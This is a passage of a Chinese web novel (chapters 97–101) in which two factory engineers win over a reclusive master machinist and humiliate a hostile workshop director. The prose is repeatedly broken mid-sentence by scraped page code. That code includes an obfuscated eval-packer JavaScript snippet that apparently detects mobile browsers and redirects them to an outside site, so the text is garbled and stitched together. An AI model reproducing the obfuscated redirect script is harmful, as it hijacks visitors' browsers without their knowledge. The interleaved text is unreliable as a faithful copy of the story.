$(''.inform'').remove(); $(''#content'').append('' 策,是他,把自己关在车间里三天三夜,硬是用几块磨刀石和一双肉手,把导轨上那千分之二毫米的误差给活活磨平了。从那天起,那台机器就只认他一个人。” “但他那个脾气……” 江建国摇了摇头,脸上露出一丝头痛的表情,“油盐不进,软硬不吃。他眼里没有领导,没有同事,只有零件。你的图纸,如果在他看来有任何不合理的地方,他会当着所有人的面,直接扔回你的脸上。前几年,有个从部里下来的技术员,就因为一个倒角尺寸的标注问题,被他骂得狗血淋头,第二天就卷铺盖走人了。” “马恒不是管不了他,是不敢管。因为整个车间,乃至整个红星厂,有太多别人啃不动的硬骨头,最后都得送到他那里去。惹恼了他,整个车间的生产都可能瘫痪。” 江建国深深地看了路承舟一眼,话语中的警告意味不言而喻。 “去找他,无异于与虎谋皮。他不会因为我们代表着厂子的未来就高看我们一眼,更不会因为王德发的打压就同情我们。他只会用最苛刻、最毒辣的眼光,审视我们的缸体,审视我们的图纸。只要被他找到一丁点的瑕疵……” 江建国没有把话说完,但那后果,已经不言自明。 那将会是一场比在马恒办公室里,更加彻底、更加**的失败。 走廊的尽头,陷入了长久的沉默。 寒风从窗户的缝隙里钻进来,吹在人脸上,带着一丝萧瑟的凉意。 良久,路承舟忽然笑了。 那是一种充满了挑战意味的、酣畅淋漓的笑容。 “江总,” 他说道,“您觉得,我们的缸体,我们的图纸,会怕他审视吗?” 江建国望着年轻人那双燃烧着自信火焰的眼睛,心中的最后一丝犹豫,被彻底点燃。 是啊。 他们用血汗浇铸出的完美造物,他们用智慧凝聚出的天衣无缝的工艺,如果连一个匠人的审视都无法通过,那还谈什么未来,谈什么希望? “好!” 江建国猛地一拍大腿,那沉寂已久的豪情,重新在他的胸中激荡,“那就让我们去会一会这个‘鬼见愁’!” 他不再迟疑,转身迈开大步,方向,不再是离开,而是向着机加工车间最深处、那个传说中属于归鸿的、孤僻的角落走去。 他们的战争,换了一个战场,重新打响。 第97章 叩问鬼门关 机加工车间是一座钢铁与秩序的迷宫。 越往深处走,空气中那股由机油与切削液混合而成的独特气味便愈发浓郁,仿佛连时光都被浸润得粘稠起来。 外围区域的喧嚣与嘈杂被一道道高大的机床矩阵层层过滤,传到这里时,只剩下一种更加纯粹、更加富有韵律的精密轰鸣。 这里是车间的心脏地带,是整个红星厂精度最高的设备与技术最顶尖的匠人盘踞的圣域。 寻常工人,非请勿入。 江建国与路承舟的脚步,最终停在了一片被低矮的工具墙半隔离开的区域前。 这里的光线比别处更明亮,几盏硕大的日光灯从头顶直射而下,将这片小小的天地照得亮如白昼,纤尘不染。 地面是被机油反复擦拭过的深色水泥地,光洁得能映出人影。 所有的工具,无论大小,都分门别类地挂在墙上或置于工具柜中,每一件都闪烁着冰冷的金属光泽,仿佛列队的士兵,静候着将军的检阅。 而在这片秩序井然的王国的中央,静静地卧着一台庞然大物。 那便是T68卧式镗床。 它通体漆着一层厚重的、来自德意志的工业绿,饱经岁月却丝毫不见斑驳。 每一个旋钮,每一道导轨,都被擦拭得一尘不染,闪烁着令人心安的油光。 它不像一台机器,更像是一尊被无数次精心供奉的神只,散发着一种不容亵渎的威严。 一个瘦削的身影,正背对着他们,俯身在那台神只般的机床前。 他穿着一身洗得发白的蓝色工装,身形并不高大,甚至有些佝偻。 花白的头发有些杂乱,却掩不住那份深入骨髓的专注。 他手中正捏着一块小小的油石,以一种极其缓慢而又无比稳定的节奏,在一根细长的镗杆上轻轻研磨着。 他的动作,轻柔得如同情人间的抚摸,却又精准得仿佛由最精密的仪器在驱动。 整个世界,似乎都已从他的感知中被彻底剥离,只剩下他和手中那方寸之间的钢铁。 他就是归鸿。 江建国深吸了一口气,那股久经风浪的气场在这一刻收敛得干干净净,取而代之的是一种发自内心的、对顶尖匠人的尊重。 他向前走了两步,在距离归鸿五米远的地方站定,声音放得很轻,生怕惊扰了那份神圣的专注。 “归师傅。” 那身影的动作,没有丝毫的停顿。 油石与金属摩擦发出细微而均匀的“沙沙”声,依旧是那不变的节奏,仿佛江建国的问候只是一阵拂过车间的微风。 江建国没有催促,只是静静地等待着。 他知道归鸿的规矩,当他与机器融为一体时,任何人都不能打扰。 路承舟站在他的身后,目光穿过归鸿的肩膀,落在那台T68镗床之上。 他的眼神中,没有对权威的敬畏,只有一种棋逢对手的兴奋与审视。 他能看出,那台机床的保养状态好得惊人,甚至比出厂时的数据还要完美。 眼前这个貌不惊人的老人,无疑是一位将机械之道修炼到了化境的宗师。 不知过了多久,也许是五分钟,也许是十分钟。 那轻微的“沙沙”声,终于停了。 归鸿缓缓直起身,将手中的油石和镗杆,如同安放圣物一般,小心翼翼地放回铺着绒布的工具台上。 他拿起一块干净的棉布,仔仔细细地擦拭着自己的双手,连指甲缝都没有放过。 做完这一切,他才终于转过身来。 路承舟也终于看清了他的脸。 那是一张被岁月精雕细琢过的脸,沟壑纵横,如同老树的树皮。 他的眼睛不大,眼皮耷拉着,显得有些浑浊,但当他的目光扫过来时,却透出一股仿佛能洞穿钢铁的锐利与冰冷。 “有事?” 他开口了,声音嘶哑,像是两块生锈的铁片在摩擦。 没有称呼,没有客套,只有最直接的询问。 “归师傅,打扰了。” 江建国上前一步,态度依旧谦和,“我是江建国,这位是我的助手,路承舟。我们铸造车间昨天出了一个柴油机缸体的毛坯,想请您……” “不接。” 江建国的话还没说完,归鸿便毫不客气地打断了他。 他那双浑浊的眼睛里,甚至泛起了一丝毫不掩饰的鄙夷与厌恶。 “铸造车间的活, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341879|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别拿到我这里来。” 他冷冷地说道,“一堆包着砂子和气孔的烂铁,也配上我的T68?弄脏了我的导轨,你们赔不起。” 这番话,刻薄到了极点,像一把淬了毒的刀子,直戳人的心窝。 江建国的脸色,瞬间变得有些难看。 他预想过归鸿的难缠,却没料到对方竟会如此不留情面,连一句话的机会都不给。 “归师傅,这次的铸件不一样……” “没什么不一样。” 归鸿的眼神愈发冰冷,“在我眼里,从你们那炉子里出来的东西,只有‘废品’和‘即将成为废品’的区别。拿走,别在这碍眼。” 他说完,竟直接转过身去,准备继续侍弄他的宝贝机床,那副拒人于千里之外的姿态,已经将这场对话判了**。 空气,凝固了。 江建国纵横工厂几十年,还从未受过如此的当面羞辱。 一股怒气直冲脑门,但他死死地压抑住了。 为了这件心血结晶,他可以忍。 然而,路承舟却不能忍。 他不能忍受自己和所有老师傅用命换来的杰作,被人如此轻蔑地侮辱成“烂铁”。 “归师傅。” 清朗而又冷静的声音,打破了这片令人窒息的僵局。 路承舟从江建国身后走了出来,他手中,正拿着那叠连夜绘制出的、浸透了他心血的机加工工艺图纸。 归鸿的动作顿住了。 他没有回头,只是那瘦削的背影,散发出一股更加凛冽的寒意。 “我再说一遍,滚。” 路承舟恍若未闻,他径直走到一旁的工作台前,将那叠图纸,“哗”的一声,摊开。 雪白的图纸上,蓝色的线条与密密麻麻的数据,在炽亮的灯光下,构成了一幅充满了理性与精密之美的画卷。 “您说得对。” 路承舟的声音平静得没有一丝波澜,“在没有经过检验之前,任何铸件都有可能是废品。所以,我今天来,不是求您加工一件铸件。” 他顿了顿,抬起头,目光灼灼地迎向归鸿那即将转过来的、冰冷的视线。 “我是来请您,审判一张图纸。” 第98章 宗师的考卷 空气凝固了。 那句平静却又石破天惊的话,如同一颗投入死水潭的巨石,在归鸿那古井无波的心湖里,激起了滔天巨浪。 他那即将转回去的身体,僵在了原地,每一寸肌肉都仿佛被无形的力量瞬间锁死。 审判一张图纸。 这五个字,带着一种近乎狂妄的自信,像一柄无形的重锤,精准无比地敲在了归鸿一生中最引以为傲、也最不容人挑衅的领域。 他缓缓地,一寸一寸地,转过了身。 那张布满褶皱的脸上,再无半分此前的鄙夷与不耐。 取而代之的,是一种极度危险的、被冒犯的宗师威严。 他那双浑浊的老眼,此刻竟像鹰隼般锐利,视线如两柄锋利的手术刀,在那张薄薄的图纸上反复切割、剖析,不放过任何一个数据,任何一条标注,甚至是一个标点符号的用法。 江建国的心,瞬间提到了嗓子眼。 他下意识地想去拉路承舟,却发现这个年轻人站得笔直,如同一杆标枪,坦然无畏地迎接着那道足以让钢铁都感到寒意的目光。 这小子,是在玩火。 他是在用自己和整个项目组的尊严,去赌一个传奇匠人那深不可测的内心。 归鸿没有说话,他迈开了脚步。 那双沾满了陈年油污的旧工鞋,踩在光洁的水泥地面上,没有发出一丝声响,如同幽灵般飘到了工作台前。 他没有立刻拿起图纸,只是居高临下地俯瞰着。 那目光,仿佛带着千钧的重量,要将纸面上那些线条与数字,压出原形。 时间,在这一刻被无限拉长。 车间远处传来的机床轰鸣,仿佛成了另一个世界的背景音。 这片被日光灯照得雪亮的小小天地,化作了一座无声的、只属于顶尖匠人与天才工程师的考场。 终于,归鸿伸出了他那只布满老茧、指节粗大的手。 那是一双能够感知千分之一毫米误差的手,是一双能让冰冷钢铁焕发生机的手。 此刻,这只手却带着一丝近乎刻薄的审慎,拈起了图纸的一角。 纸张发出轻微的“哗啦”声。 他的视线,从标题栏的“大型船用柴油机缸体机加工工艺流程图”开始,缓缓向下移动。 最初,他的嘴角还挂着一丝若有若无的冷笑。 在他看来,这不过是又一个学院派的纸上谈兵,充满了想当然的理论和脱离实际的空想。 他甚至已经准备好了几十种刻薄的言辞,准备将这张图纸和它背后的年轻人,一同撕得粉碎。 然而,当他的目光扫过第一道工序“粗刨基准面,预留1.5mm加工余量”时,他的眉头,几不可察地动了一下。 很稳健的开局。 不大不小,恰到好处。 紧接着,是第二道,第三道…… 镗削主轴承孔、粗铣两侧安装面…… 每一道工序的安排,都堪称教科书般的严谨,对切削量的控制、刀具的选择、进给速度的设定,都精准得让他这个浸淫此道五十年的老匠人,都挑不出半点毛病。 那丝冷笑,不知不觉间,从他的嘴角消失了。 取而代之的,是一种越来越凝重的神色。 如果仅仅是这样,那也只能算是一份优秀的图纸,还远不足以让他动容。 真正让他瞳孔开始收缩的,是图纸中段,一个被红色墨水重点圈出的工艺节点。 【关键节点一:在完成主轴承孔及水道口镗削后,进行首次‘局部感应退火’,目标温度450℃,保温60分钟,随炉冷却。目的:释放第一阶段粗加工产生的内部应力。】 这是什么? 归鸿的手指,蓦然停住。 常规的热处理,都是在所有机加工全部完成之后,进行一次整体的调质或退火,以消除全部的加工应力。 这种把热处理工序像外科手术一样,精准地穿插在机加工流程之中的做法,他闻所未闻,见所未见! 这简直是疯了! 每一次的加热与冷却,都会引起工件的微小变形。 在一个已经完成了部分精加工的半成品上进行热处理,这无异于在悬崖上走钢丝,任何一点计算上的失误,都会导致整个工件的尺寸链被破坏,前面所有的工作,都将毁于一旦。 荒谬! 大胆! 狂妄! 无数个批判的词语在他的脑海中翻腾,他几乎要当场将这张图纸摔在路承舟的脸上。 可他那双毒辣的眼睛,却死死地盯着图纸上那条退火后的温度曲线,以及下面一行行密密麻麻的应力释放模拟计算公式。 他的大脑,开始以一种恐怖的速度运转,脑海中浮现出缸体内部的金属晶格,模拟着它们在切削力的作用下扭曲、变形,又在热量的安抚下,缓缓舒展、复位的全过程。 一分钟。 两分钟。 五分钟。 归鸿的额头上,竟然渗出了一层细密的汗珠。 他的呼吸,变得有些粗重。 他发现,自己竟然找不到这个方案的任何理论破绽。 这个年轻人,用一种他无法理解的、却又逻辑严密到令人恐惧的计算,完美地预判了热处理可能带来的所有变形量,并且在后续的加工工序中,提前设置了相应的补偿参数。 这已经不是在画图纸了。 这是在为一块钢铁,谱写一部命运交响曲! 每一个音符,每一次转折,都被安排得明明白白。 他猛地抬起头,那双浑浊的眼睛里,第一次射出了骇人的精光,死死地盯住了路承舟。 “分步退火,逐层释放应力……这个想法,是谁教你的?” 他的声音嘶哑,却带着一种压抑不住的震动。 江建国的心跳几乎漏了一拍。 他知道,转机来了。 路承舟迎着那道仿佛要将自己灵魂都看穿的目光,平静地回答:“没有人教。是这块铁,它自己告诉我的。” “好一个‘铁告诉你的’!” 归鸿的胸膛剧烈地起伏了一下,他没有赞赏,反而厉声喝问,如同法官在叩问**,“理论上完美,不代表实际上可行!我问你,450度的局部感应加热,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江建国站在一旁,早已听得目瞪口呆,心神俱骇。 他这才明白,自己所以为的“完美图纸”,在真正的宗师眼中,竟然还隐藏着如此多致命的陷阱。 而路承舟,这个年轻人,却早已在陷阱的下方,铺设好了坚实的地基。 终于,归鸿问完了最后一个问题。 他死死地盯着路承舟,胸口剧烈地起伏,那双浑浊的眼睛里,震惊、怀疑、欣赏、狂热…… 无数种复杂的情绪在交织、在碰撞,最终,化为了一片死寂。 他沉默了。 良久,良久。 他缓缓地,将那份图纸,小心翼翼地,重新叠好。 那动作,轻柔得如同在对待一件稀世珍宝。 他将图纸递回路承舟面前,嘶哑地,说出了一句让江建国几乎不敢相信自己耳朵的话。 “图纸,我判完了。” 他顿了顿,每一个字,都像是从牙缝里挤出来的。 “明天早上八点,把你们那块‘烂铁’,吊到我这里来。” 第99章 宗师的领域 那句嘶哑却又重逾千钧的承诺,在充斥着机油气息的空气中缓缓沉降,每一个字都像是一枚烧红的铆钉,将这场惊心动魄的对决,牢牢地钉在了结局之上。 江建国那颗悬了一整夜、又在马恒办公室里被冰水浸透的心,直到此刻,才终于回落到温热的胸腔之中。 它带着劫后余生的剧烈搏动,一下,又一下,擂鼓般宣告着这场关键战役的胜利。 他们赢了。 赢得了这张通往红星厂技术圣域的门票,赢得了让那件心血结晶接受最高洗礼的资格。 归鸿没有再多看他们一眼。 他仿佛瞬间耗尽了所有的情绪,重新变回了那个孤僻、沉默的匠人,转身俯向他那台绿色的神只,手中的棉纱沾上机油,开始以一种近乎虔诚的姿态,擦拭着冰冷的导轨。 在他的世界里,这场对话已经结束,接下来,只有钢铁与钢铁之间的对话。 那是一个外人无法踏足的,绝对专注的领域。 江建国向路承舟投去一个眼神,示意他不要再打扰。 两人心照不宣地,悄然退出了这片被炽亮灯光笼罩的、属于宗师的领地。 直到走出十几米远,那股无形的、令人窒息的压迫感才悄然散去。 江建国猛地停下脚步,长长地、长长地吐出了一口浊气。 那口气息如此悠长,仿佛要将这半生所积攒的憋屈与愤懑,都一并排出体外。 他转过身,双手重重地按在路承舟的肩膀上。 那双虎目之中,惊叹、欣慰、震撼、狂喜,种种情绪交织成一片璀璨的星海。 他张了张嘴,有千言万语堵在喉头,最终却只化作了一句带着轻微颤抖的、发自肺腑的赞叹。 “好小子……你真是个好小子!” 他用力地拍了拍路承舟的肩膀,那力道之大,仿佛是要将自己所有的信任与希望,都灌注到这个年轻人的身体里。 “我刚才……我刚才真以为你要把他给点炸了!” 江建国回想起方才那电光石火般的问答,依旧心有余悸,“归鸿那个脾气,就是一堆浸了油的干柴,一点就着。你居然敢用‘审判’这两个字去激他,你的胆子,简直比天还大!” 路承舟的脸上,依旧是那副波澜不惊的平静。 “置之死地而后生。” 他淡淡地说道,“对付宗师,就要用宗师的方式。如果我们表现出半分的心虚和恳求,那我们手里的图纸,在他眼中就永远只是一张废纸。” 江建国愣住了,随即爆发出一阵酣畅淋漓的大笑。 “说得好!说得太好了!” 他笑得眼角都泛起了泪花,“我江建国摆弄了一辈子机器,跟人斗了一辈子,到头来,这人情世故的火候,还没你这个毛头小子看得通透!” 他的笑声爽朗而洪亮,在这片钢铁森林里回荡,引得周围工位上不少正在埋头干活的师傅都纷纷侧目。 他们的目光,好奇、探究、惊讶,最终都汇聚在了路承舟的身上。 机加工车间虽然大,但消息的传递速度,却比最快的行车还要迅猛。 江建国带着一个年轻人硬闯生产调度室,把主任马恒驳得哑口无言的消息,早已传遍了每一个角落。 而他们刚才居然敢去叩响“鬼见愁”的门关,更是让所有人都在暗中捏了一把冷汗,等着看一出好戏。 可现在,他们看到的不是江建国的暴跳如雷,也不是那个年轻人的垂头丧气,反而是江总那前所未有的开怀大笑。 这结果,不言而喻。 一时间,那些投来的目光,悄然发生了变化。 轻视与看热闹的心态褪去,取而代之的,是一种混杂着敬畏与不可思议的审视。 能让“鬼见愁”点头的人,绝非等闲之辈。 就在这时,一个不合时宜的身影,出现在了过道的另一头。 正是马恒。 他显然是听到了这边的动静,特意从办公室里走了出来。 他的脸色阴沉得能拧出水来,那双藏在深度近视镜片后的眼睛,死死地盯着江建国和路承舟,像一条潜伏在阴暗角落里的毒蛇。 “江总,好大的兴致啊。” 马恒的语气尖酸刻薄,带着毫不掩饰的讥讽,“怎么,在我这儿碰了钉子,又跑到归师傅那儿去自取其辱了?感觉如何啊?” 在他看来,江建国此刻的大笑,不过是气急败坏之下的反常之举,是一种色厉内荏的伪装。 江建国缓缓收敛了笑容。 他看着马恒,那眼神,如同在看一个跳梁小丑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341881|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“马主任,多谢关心。” 他语气平淡,却透着一股居高临下的从容,“我们感觉很好。归师傅已经答应了,明天一早,就为我们的缸体动第一刀。” “什么?” 马恒脸上的讥笑,瞬间凝固,随即被一种见了鬼般的震惊所取代。 他的声音陡然拔高,因为过度错愕而变得尖利刺耳。 “不可能!这绝对不可能!归鸿他……他怎么会答应你们这种无理的要求!” “无理?” 江建国冷笑一声,向前踏出一步。 那股属于副总工程师的强大气场,如同一堵无形的墙,狠狠地压向马恒,“马主任,我倒想问问,按照厂里的规章制度,项目组申请使用车间设备,到底哪里无理了?还是说,在你马主任这里,王厂长的个人意志,已经可以凌驾于厂规之上了?” 这番话,字字诛心,直接将马恒钉在了“假公济私”的耻辱柱上。 马恒的脸“唰”地一下涨成了猪肝色,他被噎得半天说不出一句话来,嘴唇哆嗦着,只能搬出最后的挡箭牌。 “你……你们别得意!没有我的生产调度单,没有正式的工时记录,就算归鸿答应了,那也是私活!出了任何问题,哪怕是崩坏一个刀头,你们都担不起这个责任!” 他这是在进行最后的威胁,也是最无力的挣扎。 然而,江建国只是轻蔑地瞥了他一眼。 “责任?这个就不劳马主任费心了。” 他从口袋里拿出一支笔,走到旁边墙上挂着的一块生产看板前,拿起板擦,将上面原本的生产计划擦去了一角。 在周围数十道惊愕的目光注视下,他龙飞凤凤舞地写下了一行大字:【T68卧式镗床,明日启用,加工特种项目‘红星一号’缸体。总负责人:江建国。】 写完,他将笔重重地往旁边一放,发出一声清脆的“啪”声。 他转过身,目光如电,扫过马恒那张因羞愤而扭曲的脸。 “这就是我的调度单。” “至于工时,” 江建国顿了顿,嘴角勾起一抹冰冷的弧度,“这台柴油机项目,是我江建国亲自向部里立的军令状。它的工时,不归你马主任管,更不归王德发管。” “它,归共和国管。” 第100章 战书 那最后五个字,如同一柄无形的巨锤,轰然砸落。 整个机加工车间,那由上百台机床合奏出的雄浑交响,仿佛在这一瞬间被掐断了电源。 所有的噪音都消失了,所有的动作都凝固了。 空气死寂,落针可闻。 马恒脸上的血色,以一种肉眼可见的速度褪尽,只留下一片惨败。 他嘴唇翕动,像是被扔上岸的鱼,却发不出任何声音。 江建国那句话,已经超出了他所能理解和应对的范畴。 那不是一次反击,那是一次降维打击。 他用厂规当盾牌,用厂长当利剑,而江建国直接掀翻了棋盘,告诉你这场游戏的规则,由他来定。 周围,那些原本只是看热闹的工人们,此刻脸上的表情精彩到了极点。 震惊,错愕,不可思议。 他们的目光,如同探照灯一般,在江建国那挺得笔直的背影、路承舟那平静得过分的脸庞,以及马恒那张扭曲变形的猪肝面孔之间,来回扫视。 最后,所有人的视线,都死死地定格在了那块生产看板上。 那行用白笔写下的、龙飞凤舞的大字,在灰暗的车间背景中,显得如此刺眼,如此张扬,又如此地理直气壮。 【T68卧式镗床,明日启用,加工特种项目‘红星一号’缸体。总负责人:江建国。】 这不是一张调度单。 这是一封战书。 是一封由一个被压抑了半生的老工程师,当着整个车间的面,向那个高高在上的厂长,向所有盘根错节的利益集团,悍然递出的战书! 终于,人群中响起了一声压抑不住的、倒吸冷气的声音。 这声细微的抽气,像是一颗投入滚油的火星,瞬间引爆了死寂的空气。 低低的议论声,如同潮水般从四面八方涌起,汇成一片嗡嗡的洪流。 “我的天……江总工这是要……要跟王厂长彻底撕破脸了?” “什么叫‘归共和国管’?这话说得也太大了!这是要把天给捅破啊!” “大吗?我看不大!这柴油机项目,本来就是部里挂了号的!王德发凭什么压着不让干?他这是在拿厂子的前途开玩笑!” “说得对!马恒这条狗,就知道仗势欺人,今天算是踢到铁板了!” **的风向,在短短几十秒内,发生了惊天动地的逆转。 原本的幸灾乐祸与隔岸观火,此刻已荡然无存。 取而代之的,是一种被压抑许久的愤懑,以及一种对敢于挑战权威者的、发自内心的敬佩与支持。 江建国那看似冲动的一句话,一个举动,却精准地戳中了所有一线工人心中最柔软、也最痛恨的那一点。 马恒听着耳边那些毫不掩饰的议论,感受着那些从四面八方投来的、充满了鄙夷与嘲弄的目光,只觉得浑身的血液都在向头顶倒灌。 他的脸颊滚烫,像是被人当众狠狠抽了无数个耳光,火辣辣地疼。 他完了。 无论这场技术之争的最终结果如何,从今天起,他这个机加工车间主任的威信,已经在这块写着战书的铁板前,被碾得粉碎。 他再也无法在这里待下去。 马恒的眼神,怨毒地扫过江建国,又死死地剐了路承舟一眼,那目光仿佛要将两人的样貌刻进骨头里。 他没有再放一句狠话,因为任何语言在此刻都显得苍白无力。 他猛地一转身,几乎是落荒而逃。 那狼狈的背影,在无数道目光的注视下,显得如此渺小而又可笑。 一场由他挑起的围剿,最终以他自己的惨败溃逃,而耻辱收场。 看着马恒消失在走廊尽头的背影,江建国那紧绷的身体,才终于有了一丝松弛。 他缓缓转过身,胸膛微微起伏,那场酣畅淋漓的爆发,几乎耗尽了他积攒多年的勇气。 他看向路承舟,年轻人的脸上依旧平静,只是那双明亮的眼睛里,带着一丝不易察觉的笑意,和一种深沉的、仿佛早已预见此景的了然。 “走吧。” 江建国声音有些沙哑,他拍了拍路承舟的肩膀,“此地不宜久留。” 两人不再理会周围的议论,迈开脚步,向车间外走去。 他们身后,那块生产看板,如同新王登基的诏书,在无数目光的朝圣下,昭示着一个新秩序的降临。 …… 从喧嚣的车间,回到安静空旷的厂区大道上,冰冷的风迎面吹来,让江建国那因激动而发热的头脑,冷静了不少。 他没有立刻说话,只是沉默地走着,脚步沉稳,却带着一种前所未有的轻快。 良久,他才长出了一口气,侧过头看着身旁的路承舟,眼神复杂。 “小子,你是不是早就料到,事情会发展到这一步?” 路承舟微微一笑,并没有直接回答,而是反问道:“江总,您后悔吗?刚才那番话,那块板子,可就等于彻底没有回头路了。” “后悔?” 江建国闻言,先是一怔,随即放声大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341882|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑起来。 那笑声,比刚才在车间里时更加洪亮,更加肆无忌惮,震得路边枯枝上的残雪都簌簌落下。 “我后悔!我后悔没有在二十年前,就这样痛痛快快地干他一场!” 他笑得满脸通红,眼中却闪着晶莹的光,“我江建国这辈子,在技术上没服过谁,却在人情世故上,当了一辈子的缩头乌龟!今天,是你小子,把我这身老骨头里最后一点血性给逼了出来!” 他停下脚步,郑重地看着路承舟,一字一顿地说道:“小路,谢谢你。” 这一声“谢谢”,无比沉重。 路承舟坦然地接受了这份谢意,他知道,这不仅是感谢他出的主意,更是感谢他点燃了这位老将心中那即将熄灭的火焰。 “江总,我们还没赢。” 路承舟冷静地提醒道,“图纸终究是图纸,真正的考验,在明天。” “我明白。” 江建国的神色重新变得严肃起来,“王德发和马恒吃了这么大的一个亏,绝不会善罢甘休。明天,归鸿那儿,恐怕不会清静。” “这正是我想要的。” 路承舟的目光,望向远处那栋属于机加工车间的巨大厂房,眼神锐利如刀。 “我们不仅要做出最完美的缸体,更要让全厂的人都亲眼看着,它是如何被我们做出来的。我们要让所有人都知道,是谁在为红星厂的未来拼命,又是谁,在为了自己的一己私利,不惜毁掉这份希望。” 他顿了顿,声音里透出一股冰冷的锋芒。 “我们就是要把它做成一场公开审判。让事实,去做唯一的判官。” 江建国看着身旁这个年轻人,心中再次被深深震撼。 运筹帷幄,步步为营,甚至连对手的反应和**的走向,都计算得清清楚楚。 这哪里是一个初出茅庐的技术员,这分明是一个深谙人心的战略家。 他忽然觉得,自己之前所有的担心,都有些多余了。 有这样的战友在身边,何愁大事不成? “好!” 江建国胸中豪情万丈,“那就让他们放马过来!我倒要看看,明天,谁还敢在归鸿的T68面前,说三道四!” 夕阳的余晖,将两人的影子拉得很长很长。 一场风暴的核心,已经悄然转移。 从调度室的口舌之争,从生产板上的战书宣言,最终,汇聚到了明天即将开动的,那台冰冷的德产机床之上。 那里,将是决定无数人命运的最终战场。 第101章 风暴前夜 夜幕,如同巨大的墨色绒布,缓缓覆盖了红星厂的钢铁穹顶。 白日里那震耳欲聋的轰鸣与喧嚣,此刻都已沉寂,只剩下几盏孤零零的路灯,在空旷的厂区大道上投下昏黄而拉长的光晕。 寒风穿过林立的厂房,发出呜咽般的回响,将最后一丝白日的温度也彻底卷走。 江建国与路承舟并肩走在这片寂静之中,脚步声在空旷的环境里显得格外清晰。 那场在机加工车间掀起的滔天巨浪,仿佛耗尽了江建国半生的精气神。 此刻,那股冲天的豪情与怒火渐渐冷却,一种更深层次的、混杂着疲惫与亢奋的情绪,从他的骨髓深处弥漫开来。 他的背依旧挺得笔直,只是那紧握的双拳,却在不自觉地微微颤抖。 “王德发……现在恐怕已经气得把办公室都给砸了。” 江建国嘶哑地开口,声音里带着一丝风暴过后的虚脱感。 他呼出的白气,在路灯下瞬间凝结,又迅速消散。 “砸办公室,都是小事。” 路承舟的语气一如既往地平静,仿佛刚刚经历的那场轩然大波,不过是午后的一场骤雨,“我担心的是,他不会就这么善罢甘休。一个被逼到墙角的困兽,会做出最不理智、也最疯狂的反扑。” 江建国沉默了。 路承舟的话,像一盆冷水,浇灭了他心中最后一丝侥幸。 是啊,王德发是厂长,是这片钢铁王国里说一不二的土皇帝。 今天,他们当着整个车间的面,将他的脸皮连同他亲信的尊严,一同撕下来扔在地上,用脚狠狠地碾过。 这种仇恨,已经不是简单的意气之争,而是不死不休的权力之战。 “他会怎么做?” 江建国下意识地问道,目光中透出凝重,“明天在归师傅那里,他会派人来捣乱吗?比如……拉掉电闸?或者在铸件上动手脚?” “这些手段太低级,也太明显。” 路承舟摇了摇头,那双清亮的眸子在夜色中闪烁着理性的光芒,“我们既然把事情闹到了台面上,变成了全厂皆知的‘公开审判’,那王德发就绝不敢用这种上不了台面的手段。否则,不等我们开口,全厂工人的唾沫就能把他淹死。” “他会用阳谋。” 路承舟的脚步停在一盏路灯下,昏黄的光线在他年轻的脸上投下深刻的阴影。 “他会来,而且会带着一大批人来。安全科的,质检科的,技术科的,甚至可能还会请来一两个厂里的老领导、老专家。” “他不会阻止我们加工,他会‘监督’我们加工。他会把明天的现场,变成一个最严苛、最吹毛求疵的考场。我们每一个操作,每一个数据,都会被放在成百上千双眼睛的审视之下。只要归师傅的操作出现一丁点的失误,只要最终的成品有一丝一毫的瑕疵,他就会立刻抓住,然后把‘鲁莽冒进’、‘罔顾安全’、‘浪费国家财产’的帽子,一顶一顶地扣在我们头上。” “到那时,他就不再是打压新技术的官僚,而是拨乱反正、为工厂挽回损失的功臣。我们,将万劫不复。” 一番话,冷静、清晰、字字见血。 江建国只觉得一股寒气从脚底板直冲天灵盖,让他那刚刚被胜利点燃的血液,瞬间冷却下来。 他看到的,是胜利的曙光。 而路承舟看到的,却是曙光背后,那更加深邃、更加致命的陷阱。 “那我们……” 江建国喉头有些发干。 “我们什么都不用做。” 路承舟的嘴角,忽然勾起一抹极淡的、却充满了强大自信的弧度,“我们只需要相信两样东西。” “相信我们的图纸,相信归师傅的手。” …… 与此同时,这片夜幕下的红星厂,远非表面那般平静。 消息像插上了翅膀,从机加工车间飞出,迅速传遍了每一个灯火通明的宿舍,每一个仍在加班的办公室,每一个热气腾腾的工人澡堂。 